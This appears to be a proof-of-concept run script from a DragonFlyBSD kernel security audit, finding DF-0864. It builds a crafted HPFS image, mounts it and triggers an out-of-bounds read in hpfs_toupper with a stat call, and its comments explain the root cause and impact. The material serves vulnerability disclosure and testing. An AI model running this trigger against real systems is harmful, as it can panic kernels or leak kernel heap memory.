DragonFlyBSD Kernel Audit
DF-0864 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0864 run: build the crafted HPFS image, mount it, and trigger the
# OOB read in hpfs_toupper (sys/vfs/hpfs/hpfs_subr.h:55) by looking up a
# name in the mounted filesystem.
#
# Root cause: hpfs_genlookupbyname (hpfs_lookup.c:87) passes the on-disk
# dep->de_cpid to hpfs_cmpfname -> hpfs_toupper, which indexes
# hpm_cpdblk[cp] without validating cp against sp_cpinum.  With
# sp_cpinum=1 (136-byte hpm_cpdblk) and de_cpid=0xFF, the access reads
# ~34 KB past the allocation.
#
# Threat model: a crafted HPFS filesystem image.  After mount, ANY user
# who can stat()/ls a name in the mounted FS triggers the OOB.  Impact
# ceiling: kernel panic (DoS) if the OOB read crosses an unmapped page,
# otherwise a silent heap info-leak (the OOB byte is used as a case-
# conversion table entry, affecting the comparison oracle).
#
# HPFS is a shipped loadable module (/boot/kernel/hpfs.ko); kldload just
# registers the parser (standard admin action, NOT privilege escalation).
#
# MUST be run as root (kldload / vnconfig / mount).  Force /bin/sh.
#   usage: ./run.sh [de_cpid_hex]
set -e
cd "$(dirname "$0")"

CPID="${1:-0xFF}"

# 1. craft the image (sp_cpinum=1, de_cpid=$CPID, high-bit name)
[ -x craft_img ] || cc -O2 -Wall -o craft_img craft_img.c
./craft_img crafted.img "$CPID"

# 2. enable the HPFS filesystem parser (shipped module)
kldload hpfs 2>/dev/null || kldstat | grep -q hpfs || { echo "FATAL: cannot load hpfs.ko"; exit 1; }

# 3. attach the image to a memory disk
DEV=$(vnconfig -c vn "$(pwd)/crafted.img" 2>&1 | grep -oE 'vn[0-9]+' | head -1)
[ -n "$DEV" ] || { echo "FATAL: vnconfig failed"; exit 1; }
echo "[run] attached crafted.img -> /dev/$DEV"

# 4. mount the image -- on the UNPATCHED kernel this should succeed (the
#    bug is NOT at mount time; it fires on the first lookup).
mkdir -p /mnt/df0864
mount -t hpfs -o ro "/dev/$DEV" /mnt/df0864
RC=$?
echo "[run] mount returned rc=$RC"
if [ "$RC" -ne 0 ]; then
    echo "[run] FATAL: mount failed -- image is malformed, cannot test lookup"
    vnconfig -u "$DEV" 2>/dev/null || true
    exit 1
fi

# 5. TRIGGER: look up any name in the mounted FS.  VOP_LOOKUP("x") on the
#    HPFS root calls hpfs_genlookupbyname -> hpfs_cmpfname(dep->de_cpid).
#    On the UNPATCHED kernel: OOB read -> panic or silent info-leak.
echo "[run] triggering VOP_LOOKUP via stat /mnt/df0864/x ..."
echo "      (on the unpatched kernel: panic in hpfs_toupper/hpfs_cmpfname,"
echo "       or silent OOB read if the faulting address is mapped)"
stat /mnt/df0864/x 2>&1
LOOKUP_RC=$?
echo "[run] stat returned rc=$LOOKUP_RC (if you see this and guest is up,"
echo "      the OOB read landed in mapped slab memory -- info-leak path)"

# cleanup (only reached if no panic)
umount /mnt/df0864 2>/dev/null || true
vnconfig -u "$DEV" 2>/dev/null || true